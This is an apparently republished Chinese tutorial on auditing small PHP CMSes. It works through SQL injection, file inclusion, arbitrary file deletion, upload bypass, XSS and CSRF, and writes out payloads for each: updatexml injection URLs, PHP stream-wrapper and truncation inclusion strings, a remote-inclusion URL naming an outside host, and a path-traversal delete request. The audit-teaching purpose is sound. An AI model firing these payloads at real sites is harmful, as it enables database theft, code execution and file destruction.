代码审计 | 记一次PHP入门代码审计_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

代码审计 | 记一次PHP入门代码审计

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


代码审计 | 记一次PHP入门代码审计

#0x01 sql注入 ###1.1 /admin/files/login.php 先看后台/admin/files/login.php 可以看到没有过滤就直接带入查询了而且还写出报错,这里就可以使用报错注入 payload user=11' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))-- +&password=11&login=yes ###1.2 /files/submit.php 留言板同理,全都没做过滤 seay可以看到sql语句 ###1.3 /files/content.php 然后就是content.php可以看到前面虽然过滤了引号但是后面就没有过滤了 ###1.4 /admin/files/editcolumn.php 其他的就不多说了 payload http://127.0.0.1/cms/xhcms/admin/?r=editcolumn&type=1&id=1%27%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))%20--+ #0x02 文件包含 ###2.1 文件包含小tips 相关包含函数 require() require_once() include() include_once() 漏洞产生原因 可控变量,漏洞函数 ###2.1.1本地文件包含 2.1.2有限制本地包含 %00截断:条件:magic_quotes_gpc = Off php版本<5.3.4 shell.txt../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../.html filename=../../../../../../../boot.ini%00 长度截断:条件:windows,点号需要长于256;linux 长于4096 2.1.3远程文件包含 allow_url_fopen = On(是否允许打开远程文件) allow_url_include = On(是否允许include/require远程文件) 无限制远程包含 有限制远程包含 filename=http://127.0.0.1/1/include.php?filename=http://49.235.54.135/wp-content/uploads/2020/04/2-7-180x100.png?filename=http://127.0.0.1/1/include.php?filename=http://49.235.54.135/wp-content/uploads/2020/04/2-7-180x100.png%23filename=http://127.0.0.1/1/include.php?filename=http://49.235.54.135/wp-content/uploads/2020/04/2-7-180x100.png%20 2.1.4伪协议包含 https://www.cnblogs.com/endust/p/11804767.html php://filter php://input Payload:?filename=php://filter/convert.base64-encode/resource=index.txt ?filename=php://input post ');?> file:// data:// pchar:// zip:// 最后一个pchar是利用一个压缩包,里面存放为index.txt文件 ?filename=file:///D:/phpstudy/PHPTutorial/WWW/index.txt ?filename=data://text/plain, ?filename=phar://index.zip/index.txt ###2.2 index.php 继续回到zzzcms可以看到index.php有很明显的文件包含漏洞因为这里是可控的,但是截断前提还是低版本 #0x03 任意文件删除 这里我们来看看zzzphp 这里来到后台随便找个删除按钮抓包 可以看到这里是请求了save.php act参数为delfile,我们来跟进看一下 可以看到返回了delfile()函数,跟进一下 function delfile(){ $file=getform('path','post'); $file_path=file_path($file); $safe_path=array('upload','template','runtime','backup'); if(arr_search($file_path,$safe_path)){ $file=$_SERVER['DOCUMENT_ROOT'].$file; return del_file($file); }} 可以看到得到path,然后找到地址然后判断路径是否包含safe_path里面的值,如果包含就得到地址然后返回del_file()函数,跟进一下 跟进下ifstrin函数 可以看到就是做了简单验证 payload POST /cms/zzzphpV1.6.1/admin178/save.php?act=delfile path=/cms/zzzphpV1.6.1/template/../install/1.txt #0x04 文件上传 同样先找个上传点 可以看到请求的是save.php然后act参数为upload save.php?act=upload&uptype=image&upfolder=news 跟进一下up_load()函数 这里没有做判断然后就调用upload函数来上传这里来看下这个函数 可以看到就是个黑名单验证 添加一个asa #0x05 xss 这里我们找到个留言板抓包 我们可以看到除了content都没过滤,找个其他的地方插进去就可以了 ###5.1 存在httponly,扩大化利用 我们都知道如果存在httponly就无法打到cookie,但是如果页面存在phpinfo的话就可以,为什么呢,这里来看下一个phpinfo的页面 这知道了把,跳转用户访问phpinfo然后抓取里面的值就可以了 #0x06 csrf 如何判断是否存在CSRF漏洞?1. 判断是否验证Referer 2. 判断是否验证Token 3. 判断是否拥有Header头部验证 这里源码有点问题,就大概讲一下一些技巧首先就是自动加载可以添加一下代码 就是js自动提交表单 一般绕过 1.Referer有时候只是判断是否为空,这个我们就直接随便写个就行 2.判断必须为yicunyiye.cn这个域名,这个我们可以拿我们自己的域名解析为yicunyiye.cn.hack.cn就可以 3.判断为yicunyiye.cn/address.html,无解 然后就是不回显这种的话就前提是可以post转换为get然后再通过去加载执行,然后就是xss配合csrf,如果存在点为发文章处,只要加载了就执行了poc